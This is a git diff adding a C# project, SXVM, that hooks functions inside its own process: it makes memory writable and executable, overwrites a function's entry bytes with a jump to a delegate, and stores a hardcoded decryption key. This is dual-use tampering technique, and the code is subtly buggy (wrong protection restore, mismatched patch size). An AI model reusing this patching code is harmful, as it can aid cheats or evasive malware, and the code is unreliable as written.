CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture + { + get + { + return resourceCulture; + } + set + { + resourceCulture = value; + } + } + } +} diff --git a/SXVM/Properties/Resources.resx b/SXVM/Properties/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/SXVM/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SXVM/Properties/Settings.Designer.cs b/SXVM/Properties/Settings.Designer.cs new file mode 100644 index 0000000..8dabd2e --- /dev/null +++ b/SXVM/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace SXVM.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/SXVM/Properties/Settings.settings b/SXVM/Properties/Settings.settings new file mode 100644 index 0000000..abf36c5 --- /dev/null +++ b/SXVM/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/SXVM/SXVM.cs b/SXVM/SXVM.cs new file mode 100644 index 0000000..34a2362 --- /dev/null +++ b/SXVM/SXVM.cs @@ -0,0 +1,281 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection.Emit; +using System.Reflection; +using System.Runtime.ExceptionServices; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace SXVM +{ + internal class SXVM + { + private enum AllocationProtectEnum : uint + { + PAGE_NOACCESS = 0x01, + PAGE_READONLY = 0x02, + PAGE_READWRITE = 0x04, + PAGE_WRITECOPY = 0x08, + PAGE_EXECUTE = 0x10, + PAGE_EXECUTE_READ = 0x20, + PAGE_EXECUTE_READWRITE = 0x40, + PAGE_EXECUTE_WRITECOPY = 0x80, + PAGE_GUARD = 0x100, + PAGE_NOCACHE = 0x200, + PAGE_WRITECOMBINE = 0x400, + PAGE_TARGETS_INVALID = 0x40000000, + PAGE_TARGETS_NO_UPDATE = 0x40000000 + } + + [StructLayout(LayoutKind.Sequential)] + private struct MEMORY_BASIC_INFORMATION + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public AllocationProtectEnum AllocationProtect; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + } + + private static uint ConvertProtectToFlags(uint protectValue) + { + switch (protectValue) + { + case 0x01: + return 0x02; + case 0x02: + return 0x04; + case 0x04: + return 0x40; + case 0x08: + return 0x80; + case 0x10: + return 0x20; + case 0x20: + return 0x100; + case 0x40: + return 0x400; + default: + return 0x0; + } + } + + [DllImport("kernel32.dll")] + private static extern int VirtualQuery( + IntPtr lpAddress, + ref MEMORY_BASIC_INFORMATION lpBuffer, + IntPtr dwLength + ); + + [DllImport("kernel32")] + private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [HandleProcessCorruptedStateExceptions] + private static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size) + { + if ((int)size > src.Length) + { + throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array."); + } + else + { + uint OldProtect; + VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect); + try + { + void* dest = (void*)Address; + for (int i = 0; i < (int)size; i++) + { + *((byte*)dest + i) = src[i]; + } + GC.Collect(); + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + } + catch + { + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + throw new AccessViolationException(); + } + } + } + + [HandleProcessCorruptedStateExceptions] + private static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size) + { + if (Address == IntPtr.Zero) + { + throw new ArgumentException("Invalid memory address."); + return null; + } + else if ((int)size <= 0) + { + throw new ArgumentException("Size must be greater than zero."); + return null; + } + else + { + uint OldProtect; + VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect); + try + { + byte[] result = new byte[(int)size]; + void* src = (void*)Address; + for (int i = 0; i < (int)size; i++) + { + result[i] = *((byte*)src + i); + } + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + return result; + } + catch + { + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + throw new AccessViolationException(); + } + return null; + } + return null; + } + + private class DelegateTypeBuilder + { + internal static Type BuildDelegateType(MethodInfo methodInfo) + { + Type[] parameterTypes = methodInfo.GetParameters().Select(p => p.ParameterType).ToArray(); + Type returnType = methodInfo.ReturnType; + + return BuildDelegateType(parameterTypes, returnType); + } + + internal static Type BuildDelegateType(Type[] parameterTypes, Type returnType) + { + AssemblyName assemblyName = new AssemblyName("DynamicDelegateAssembly"); + AssemblyBuilder assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); + ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("DynamicDelegateModule"); + + TypeBuilder typeBuilder = moduleBuilder.DefineType( + "DynamicDelegateType", + TypeAttributes.Sealed | TypeAttributes.Public, + typeof(MulticastDelegate) + ); + + ConstructorBuilder constructorBuilder = typeBuilder.DefineConstructor( + MethodAttributes.RTSpecialName | MethodAttributes.SpecialName | MethodAttributes.Public | MethodAttributes.HideBySig, + CallingConventions.Standard, + new Type[] { typeof(object), typeof(IntPtr) } + ); + constructorBuilder.SetImplementationFlags(MethodImplAttributes.Runtime); + + MethodBuilder methodBuilder = typeBuilder.DefineMethod( + "Invoke", + MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.NewSlot | MethodAttributes.Virtual, + returnType, + parameterTypes + ); + + methodBuilder.SetImplementationFlags(MethodImplAttributes.Runtime); + + Type delegateType = typeBuilder.CreateType(); + return delegateType; + } + } + + private static Delegate CreateDelegateBasedOn(Delegate originalDelegate) + { + MethodInfo methodInfo = originalDelegate.Method; + Type delegateType = DelegateTypeBuilder.BuildDelegateType(methodInfo); + return Delegate.CreateDelegate(delegateType, null, methodInfo); + } + + private MEMORY_BASIC_INFORMATION OP_MBI = new MEMORY_BASIC_INFORMATION(); + + private Delegate OP_STUB = null; + + private bool Permanent_Hook = false; + + private bool Exit_Hook = false; + + private IntPtr Address_Hook = IntPtr.Zero; + + private byte[] Original_Hook = null; + + private byte[] OP_Hook = null; + + private static void VM_EXIT() + { + try + { + Process.GetCurrentProcess().Kill(); + } + catch + { + } + throw new AccessViolationException(); + } + + private void RestoreVMHook() + { + if (Address_Hook == IntPtr.Zero || Original_Hook == null || (uint)Original_Hook.LongLength == 0) + { + } + else + { + WriteMemoryBlock(Address_Hook, Original_Hook, (uint)Original_Hook.LongLength); + } + } + + private void AddVMHook() + { + if (Address_Hook == IntPtr.Zero || OP_Hook == null || (uint)OP_Hook.LongLength == 0) + { + } + else + { + WriteMemoryBlock(Address_Hook, OP_Hook, (uint)OP_Hook.LongLength); + } + } + + internal void Unhook() + { + RestoreVMHook(); + } + + internal void Hook() + { + if (OP_Hook == null) + { + } + else + { + AddVMHook(); + } + } + + internal void Hook(IntPtr Address, Delegate OP_HOOK, bool Permanent, bool Exit) + { + VirtualQuery(Address, ref OP_MBI, (IntPtr)Marshal.SizeOf(OP_MBI)); + OP_STUB = OP_HOOK; + Permanent_Hook = Permanent; + Exit_Hook = Exit; + Address_Hook = Address; + Original_Hook = ReadMemoryBlock(Address, (uint)22); + Delegate CustomEntryPoint = CreateDelegateBasedOn(OP_STUB); + GCHandle.Alloc(CustomEntryPoint); + IntPtr ENTRYPOINT_PTR = Marshal.GetFunctionPointerForDelegate(CustomEntryPoint); + uint oldProtect = 0; + VirtualProtect(Address, (UIntPtr)11, 0x40, out oldProtect); + Marshal.WriteByte(Address, 0, 0x48); + Marshal.WriteByte(Address, 1, 0xB8); + Marshal.WriteInt64(Address, 2, ENTRYPOINT_PTR.ToInt64()); + Marshal.WriteByte(Address, 10, 0xFF); + Marshal.WriteByte(Address, 11, 0xE0); + OP_Hook = ReadMemoryBlock(Address, (uint)22); + VirtualProtect(Address, (UIntPtr)11, ConvertProtectToFlags(OP_MBI.Protect), out oldProtect); + } + } +} diff --git a/SXVM/SXVM.csproj b/SXVM/SXVM.csproj new file mode 100644 index 0000000..ee360d2 --- /dev/null +++ b/SXVM/SXVM.csproj @@ -0,0 +1,118 @@ + + + + + Debug + AnyCPU + {E1902815-B6DF-4BC8-94A6-C61A382FE83D} + WinExe + SXVM + SXVM + v4.5.2 + 512 + true + true + + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + true + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + true + + + true + bin\x64\Debug\ + DEBUG;TRACE + full + x64 + 7.3 + prompt + true + true + + + bin\x64\Release\ + TRACE + true + pdbonly + x64 + 7.3 + prompt + true + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + \ No newline at end of file diff --git a/SXVM/Settings.cs b/SXVM/Settings.cs new file mode 100644 index 0000000..bdf131b --- /dev/null +++ b/SXVM/Settings.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace SXVM +{ + internal static class Settings + { + internal static string DecryptionKey = @"yQquGVilLyQquGVilLVYkhwQZutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZDVYkhwQZyQquGVilLVYkhwQZutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZDutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZD"; + } +}